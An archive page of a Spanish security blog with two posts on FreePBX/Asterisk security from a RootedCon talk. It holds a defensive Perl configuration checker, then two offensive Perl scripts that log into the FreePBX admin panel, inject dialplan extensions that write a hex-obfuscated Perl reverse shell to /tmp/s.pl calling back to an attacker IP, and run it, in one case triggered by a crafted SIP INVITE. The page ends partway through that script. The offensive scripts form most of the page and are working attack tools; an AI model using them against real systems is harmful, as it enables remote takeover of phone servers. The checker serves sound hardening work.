Archivo de la etiqueta: Linux

¿Cómo de segura es tu FreePBX?

En el último post añadí los enlaces a la charla que impartí en la última RootedCon así como en la NoConName. También puse los scripts que utilicé para obtener una shell de forma automática uan vez que el panel de control ha sido comprometido. Pero la verdad es que dando una charla ofensiva siempre te queda un mal sabor de boca, así que he creado un pequeño script que verifica los fallos más gordos en la configuración de una FreePBX.

Realmente, tal y como comento en la charla, este tipo de plataformas tienen un gran problema de diseño y es muy difícil corregir ciertas cosas. Por ejemplo, si desde la web administramos el Asterisk, se crea la necesidad de permitir el acceso a la modificación de ficheros del sistema de VoIP, ya que es necesario reescribir ciertos archivos. Pero del mismo modo que mysql se ejecuta como root, ¿por qué no usamos diferentes usuarios para Asterisk y para Apache?, aunque a nivel de grupo luego permitamos la modificación de ciertos ficheros.

Por otro lado, al usar una FreePBX, Elastix o similar, nos hacemos muy cómodos ya que realmente no es necesario tener conocimientos ni de Linux ni de VoIP. Todo se realiza muy fácilmente desde el panel de control. Una reflexión que recomiendo leer es la que hace Elio Rojano en su blog, Sinologichttp://www.sinologic.net/blog/2011-11/mejor-editar-archivos-conf-que-interfaz-web.html

Bueno, pues aquí va el pequeño script, que por cierto he realizado de forma muy rápida por falta de tiempo, pero puede servir como base para ‘parchear’ algunas cosas que vienen por defecto en estas plataformas:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=
# FreePBX Security check
# -=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (aka Pepelux)
#
# <verdeguer@zoonsuite.com>

use Parse::Netstat qw(parse_netstat);
use IPTables::Parse;

sub init() {
	die("You must be root to run this script!\n\n") if (getpwuid($<) ne "root");

	my $output = `netstat -lnp  | grep -v -i listening`;
	my $res = parse_netstat output => $output;

	print "\nRunning services:\n----------------\n";
	print "Warning! Mysql (3306/tcp) is accessible from any address.Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:3306/);
	print "Warning! Asterisk Manager (5038/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5038/);
	print "Warning! SSH (22/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:22/);
	print "Warning! Http (80/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /\:\:\:80/);
	print "Warning! Tftp (69/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:69/);
	print "Warning! Asterisk (5060/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5060/);

	print "\nConfig files:\n------------\n";
	print "Warning! Root user can access by SSH. Consider using 'PermitRootLogin no'\n" if (ssh_root() eq 1);
	print "Warning! Asterisk modules running are not in the default folder. Check '/etc/asterisk/asterisk.conf'\n" if (asterisk_modules() eq 1);
	print "Warning! Asterisk Manager (AMI) is enabled. Is really necessary?\n" if (asterisk_manager() eq 1);
	print "Warning! Asterisk Manager (AMI) is accesible by everybody. Change 'permit' value to '127.0.0.1'\n" if (asterisk_manager_access() eq 1);

	print "\nPasswords:\n---------\n";
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/manager.conf'.\n" if (asterisk_manager_passwd() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/amportal.conf'.\n" if (asterisk_manager_passwd2() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/extensions_additional.conf'.\n" if (asterisk_manager_passwd3() eq 1);

	print "\nFirewall:\n--------\n";
	print "Warning! IPTables INPUT policy is 'ACCEPT'.\n" if (iptables() eq 'ACCEPT');

	print "\nAsterisk:\n--------\n";
	print "Warning! Allowguest is enabled. It's a good choise to set 'allowguest=no' in 'sip.conf'\n" if (allowguest() eq 0);
	my $ua = useragent();
	print "Warning! Useragent shows your FreePBX version: '$ua'. It's a good idea to change it to avoid intrusions based on new bugs\n" if ($ua ne '');
	my $ver = version();
	print "Warning! Your FreePBX version is too old ($ver). Consider upgrading your system\n" if ($ver < '2.10');
	print "Warning! There are asterisk modules with different creation date. Please revise '/use/lib/asterisk/modules' to check possible malwares\n" if (mods() > 1);

	print "\nSystem:\n------\n";
	my $apache = apache_user();
	print "Warning! Apache server is running as 'asterisk'. Consider creating a different user, for example, 'apache'\n" if ($apache eq 'asterisk');
	print "Warning! There are logs property of 'asterisk' user. It's a good idea that 'root' be the owner of these files\n" if (logs() > 0);
	my $sudo = sudoers();
	print "Warning! '$sudo' is allowed for 'asterisk' user without a password. It's possible to get 'root'\n" if ($sudo ne '');

	print "\n";

	unlink "/tmp/iptables.out";
	unlink "/tmp/iptables.err";
	unlink "/tmp/fpbx.version";
	unlink "/tmp/apache.user";
	unlink "/tmp/fpbx.logs";
	unlink "/tmp/fpbx.mods";
}

sub iptables {
        my $ipt_bin = '/sbin/iptables'; # can set this to /sbin/ip6tables

        my %opts = (
                'iptables' => $ipt_bin,
                'iptout'   => '/tmp/iptables.out',
                'ipterr'   => '/tmp/iptables.err',
                'debug'    => 0,
                'verbose'  => 0
        );

        my $ipt_obj = new IPTables::Parse(%opts)
        or die "[*] Could not acquire IPTables::Parse object";

        my $rv = 0;

        my $table = 'filter';
        my $chain = 'INPUT';

        $ipt_obj->default_drop($table, $chain);

        open (FILE_IPT, '/tmp/iptables.out');
        my $f = "";

        while (<FILE_IPT>) {
                chomp;
                $f .= "$_\n";
        }

        close (FILE_IPT);

        $f =~ /Chain\sINPUT\s\(policy\s([A-Z|a-z]*)\)/;

        return $1;
}

sub version {
        system("yum list freepbx.noarch |grep 'freepbx.noarch' > /tmp/fpbx.version");

        open (FILE_VER, '/tmp/fpbx.version');

        while (<FILE_VER>) {
                chomp;
                my $aux = $_;
                $aux =~ /freepbx\.noarch\s+\t+([\-|0-9|\.]*)\s+\t+/;
                $aux =~ /[a-z|\.|\s|\t]*([\-|0-9|\.]*)/;
                close (FILE_VER);

                return $1;
        }

        return "";
}

sub sudoers {
        open (FILE_SUD, '/etc/sudoers');

        while (<FILE_SUD>) {
                chomp;
                return 'nmap' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/nmap/ && $_ !~ /^#/);
                return 'yum' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/yum/ && $_ !~ /^#/);
        }

        close (FILE_SUD);

        return "";
}

sub apache_user {
        system("ps -ef | grep httpd | grep -v root | cut -d\" \" -f1 | uniq > /tmp/apache.user");

        open (FILE_APA, '/tmp/apache.user');
        my $aux = "";

        while (<FILE_APA>) {
                chomp;
                $aux = $_;
        }

        close (FILE_APA);

        return $aux;
}

sub logs {
        system("ls /var/log -laR | grep asterisk | wc | cut -d\" \" -f6 > /tmp/fpbx.logs");

        open (FILE_LOG, '/tmp/fpbx.logs');
        my $aux = "";

        while (<FILE_LOG>) {
                chomp;
                $aux = $_;
        }

        close (FILE_LOG);

        return $aux;
}

sub mods {
        system("ls -la /usr/lib/asterisk/modules | grep \".so\" | cut -d\":\" -f1 | cut -d\"r\" -f7 | cut -d\" \" -f2 | uniq | wc | cut -d\" \" -f7 > /tmp/fpbx.mods");

        open (FILE_MOD, '/tmp/fpbx.mods');
        my $aux = "";

        while (<FILE_MOD>) {
                chomp;
                $aux = $_;
        }

        close (FILE_MOD);

        return $aux;
}

sub allowguest {
        open (FILE, '/etc/asterisk/sip.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /allowguest\s*=\s*no/i && $_ !~ /^#/);
        }

        return 0;
}

sub useragent {
        open (FILE, '/etc/asterisk/sip_general_additional.conf');

        while (<FILE>) {
                chomp;
                my $aux = $_;

                if ($aux =~ /useragent\s*=\s*fpbx-/i && $_ !~ /^#/) {
                        $aux =~ /useragent\s*=\s*([a-z|A-Z|\-|0-9|\.|\(|\)]*)/;
                        return $1;
                }
        }

        return '';
}

sub ssh_root {
        open (FILE, '/etc/ssh/sshd_config');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /permitrootlogin\s*no/i && $_ !~ /^#/);
        }

        return 1;
}

sub asterisk_modules {
        open (FILE, '/etc/asterisk/asterisk.conf');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /astmoddir\s*=>\s*\/usr\/lib\/asterisk\/modules/i);
        }

        return 1;
}

sub asterisk_manager {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /enabled\s*=\s*yes/i && $_ !~ /^;/);
        }

        return 0;
}

sub asterisk_manager_access {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /permit\s*=\s*0\.0\.0\.0/i);
        }

        return 0;
}

sub asterisk_manager_passwd {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /secret\s*=\s*amp/i);
        }

        return 0;
}

sub asterisk_manager_passwd2 {
        open (FILE, '/etc/amportal.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

sub asterisk_manager_passwd3 {
        open (FILE, '/etc/asterisk/extensions_additional.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

init();

Y el resultado del script (haz click en la imagen para agrandarla):

freepbx_chk

Un saludo

FreePBX for Fun & Profit

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

